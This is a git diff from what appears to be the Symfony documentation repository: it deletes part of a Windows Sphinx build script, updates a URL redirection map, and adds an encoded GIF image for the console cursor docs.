-%SPHINXBUILD% 2> nul
-if errorlevel 9009 goto sphinx_python
-goto sphinx_ok
-
-:sphinx_python
-
-set SPHINXBUILD=python -m sphinx.__init__
-%SPHINXBUILD% 2> nul
-if errorlevel 9009 (
-	echo.
-	echo.The 'sphinx-build' command was not found. Make sure you have Sphinx
-	echo.installed, then set the SPHINXBUILD environment variable to point
-	echo.to the full path of the 'sphinx-build' executable. Alternatively you
-	echo.may add the Sphinx directory to PATH.
-	echo.
-	echo.If you don't have Sphinx installed, grab it from
-	echo.http://sphinx-doc.org/
-	exit /b 1
-)
-
-:sphinx_ok
-
-
-if "%1" == "html" (
-	%SPHINXBUILD% -b html %ALLSPHINXOPTS% %BUILDDIR%/html
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The HTML pages are in %BUILDDIR%/html.
-	goto end
-)
-
-if "%1" == "dirhtml" (
-	%SPHINXBUILD% -b dirhtml %ALLSPHINXOPTS% %BUILDDIR%/dirhtml
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The HTML pages are in %BUILDDIR%/dirhtml.
-	goto end
-)
-
-if "%1" == "singlehtml" (
-	%SPHINXBUILD% -b singlehtml %ALLSPHINXOPTS% %BUILDDIR%/singlehtml
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The HTML pages are in %BUILDDIR%/singlehtml.
-	goto end
-)
-
-if "%1" == "pickle" (
-	%SPHINXBUILD% -b pickle %ALLSPHINXOPTS% %BUILDDIR%/pickle
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished; now you can process the pickle files.
-	goto end
-)
-
-if "%1" == "json" (
-	%SPHINXBUILD% -b json %ALLSPHINXOPTS% %BUILDDIR%/json
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished; now you can process the JSON files.
-	goto end
-)
-
-if "%1" == "htmlhelp" (
-	%SPHINXBUILD% -b htmlhelp %ALLSPHINXOPTS% %BUILDDIR%/htmlhelp
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished; now you can run HTML Help Workshop with the ^
-.hhp project file in %BUILDDIR%/htmlhelp.
-	goto end
-)
-
-if "%1" == "qthelp" (
-	%SPHINXBUILD% -b qthelp %ALLSPHINXOPTS% %BUILDDIR%/qthelp
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished; now you can run "qcollectiongenerator" with the ^
-.qhcp project file in %BUILDDIR%/qthelp, like this:
-	echo.^> qcollectiongenerator %BUILDDIR%\qthelp\Symfony.qhcp
-	echo.To view the help file:
-	echo.^> assistant -collectionFile %BUILDDIR%\qthelp\Symfony.ghc
-	goto end
-)
-
-if "%1" == "devhelp" (
-	%SPHINXBUILD% -b devhelp %ALLSPHINXOPTS% %BUILDDIR%/devhelp
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished.
-	goto end
-)
-
-if "%1" == "epub" (
-	%SPHINXBUILD% -b epub %ALLSPHINXOPTS% %BUILDDIR%/epub
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The epub file is in %BUILDDIR%/epub.
-	goto end
-)
-
-if "%1" == "latex" (
-	%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished; the LaTeX files are in %BUILDDIR%/latex.
-	goto end
-)
-
-if "%1" == "latexpdf" (
-	%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex
-	cd %BUILDDIR%/latex
-	make all-pdf
-	cd %~dp0
-	echo.
-	echo.Build finished; the PDF files are in %BUILDDIR%/latex.
-	goto end
-)
-
-if "%1" == "latexpdfja" (
-	%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex
-	cd %BUILDDIR%/latex
-	make all-pdf-ja
-	cd %~dp0
-	echo.
-	echo.Build finished; the PDF files are in %BUILDDIR%/latex.
-	goto end
-)
-
-if "%1" == "text" (
-	%SPHINXBUILD% -b text %ALLSPHINXOPTS% %BUILDDIR%/text
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The text files are in %BUILDDIR%/text.
-	goto end
-)
-
-if "%1" == "man" (
-	%SPHINXBUILD% -b man %ALLSPHINXOPTS% %BUILDDIR%/man
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The manual pages are in %BUILDDIR%/man.
-	goto end
-)
-
-if "%1" == "texinfo" (
-	%SPHINXBUILD% -b texinfo %ALLSPHINXOPTS% %BUILDDIR%/texinfo
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The Texinfo files are in %BUILDDIR%/texinfo.
-	goto end
-)
-
-if "%1" == "gettext" (
-	%SPHINXBUILD% -b gettext %I18NSPHINXOPTS% %BUILDDIR%/locale
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The message catalogs are in %BUILDDIR%/locale.
-	goto end
-)
-
-if "%1" == "changes" (
-	%SPHINXBUILD% -b changes %ALLSPHINXOPTS% %BUILDDIR%/changes
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.The overview file is in %BUILDDIR%/changes.
-	goto end
-)
-
-if "%1" == "linkcheck" (
-	%SPHINXBUILD% -b linkcheck %ALLSPHINXOPTS% %BUILDDIR%/linkcheck
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Link check complete; look for any errors in the above output ^
-or in %BUILDDIR%/linkcheck/output.txt.
-	goto end
-)
-
-if "%1" == "doctest" (
-	%SPHINXBUILD% -b doctest %ALLSPHINXOPTS% %BUILDDIR%/doctest
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Testing of doctests in the sources finished, look at the ^
-results in %BUILDDIR%/doctest/output.txt.
-	goto end
-)
-
-if "%1" == "coverage" (
-	%SPHINXBUILD% -b coverage %ALLSPHINXOPTS% %BUILDDIR%/coverage
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Testing of coverage in the sources finished, look at the ^
-results in %BUILDDIR%/coverage/python.txt.
-	goto end
-)
-
-if "%1" == "xml" (
-	%SPHINXBUILD% -b xml %ALLSPHINXOPTS% %BUILDDIR%/xml
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The XML files are in %BUILDDIR%/xml.
-	goto end
-)
-
-if "%1" == "pseudoxml" (
-	%SPHINXBUILD% -b pseudoxml %ALLSPHINXOPTS% %BUILDDIR%/pseudoxml
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The pseudo-XML files are in %BUILDDIR%/pseudoxml.
-	goto end
-)
-
-:end
diff --git a/_build/redirection_map b/_build/redirection_map
index 3c3700792bf..1acae2a1667 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -449,16 +449,17 @@
 /reference/requirements /setup
 /bundles/inheritance /bundles/override
 /templating /templates
-/templating/escaping /templates
-/templating/syntax /templates
-/templating/debug /templates
-/templating/render_without_controller /templates
-/templating/app_variable /templates
+/templating/escaping /templates#output-escaping
+/templating/syntax /templates#linting-twig-templates
+/templating/debug /templates#the-dump-twig-utilities
+/templating/render_without_controller /templates#rendering-a-template-directly-from-a-route
+/templating/app_variable /templates#the-app-global-variable
 /templating/formats /templates
-/templating/namespaced_paths /templates
-/templating/embedding_controllers /templates
-/templating/inheritance /templates
+/templating/namespaced_paths /templates#template-namespaces
+/templating/embedding_controllers /templates#embedding-controllers
+/templating/inheritance /templates#template-inheritance-and-layouts
 /testing/doctrine /testing/database
+/translation/templates /translation#translation-in-templates
 /doctrine/lifecycle_callbacks /doctrine/events
 /doctrine/event_listeners_subscribers /doctrine/events
 /doctrine/common_extensions /doctrine
@@ -508,5 +509,26 @@
 /frontend/encore/versus-assetic /frontend
 /components/http_client /http_client
 /components/mailer /mailer
-/messenger/message-recorder messenger/dispatch_after_current_bus
+/messenger/message-recorder /messenger/dispatch_after_current_bus
 /components/stopwatch https://github.com/symfony/stopwatch
+/service_container/3.3-di-changes https://symfony.com/doc/3.4/service_container/3.3-di-changes.html
+/frontend/encore/shared-entry /frontend/encore/split-chunks
+/testing/functional_tests_assertions /testing#testing-application-assertions
+/components https://symfony.com/components
+/components/index https://symfony.com/components
+/logging/monolog_regex_based_excludes /logging/monolog_exclude_http_codes
+/security/named_encoders /security/named_hashers
+/security/experimental_authenticators /security
+/security/user_provider /security/user_providers
+/security/reset_password /security/passwords#reset-password
+/security/auth_providers /security#security-authenticators
+/security/form_login /security#form-login
+/security/form_login_setup /security#form-login
+/security/json_login_setup /security#json-login
+/security/named_hashers /security/passwords#named-password-hashers
+/security/password_migration /security/passwords#security-password-migration
+/security/acl https://github.com/symfony/acl-bundle/blob/main/src/Resources/doc/index.rst
+/security/securing_services /security#securing-other-services
+/security/authenticator_manager /security
+/security/multiple_guard_authenticators /security/entry_point
+/security/guard_authentication /security/custom_authenticator
diff --git a/_images/components/console/cursor.gif b/_images/components/console/cursor.gif
new file mode 100644
index 0000000000000000000000000000000000000000..a4fd844eb80a1f0502cfc131c7f6a5b687e03c34
GIT binary patch
literal 64894
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
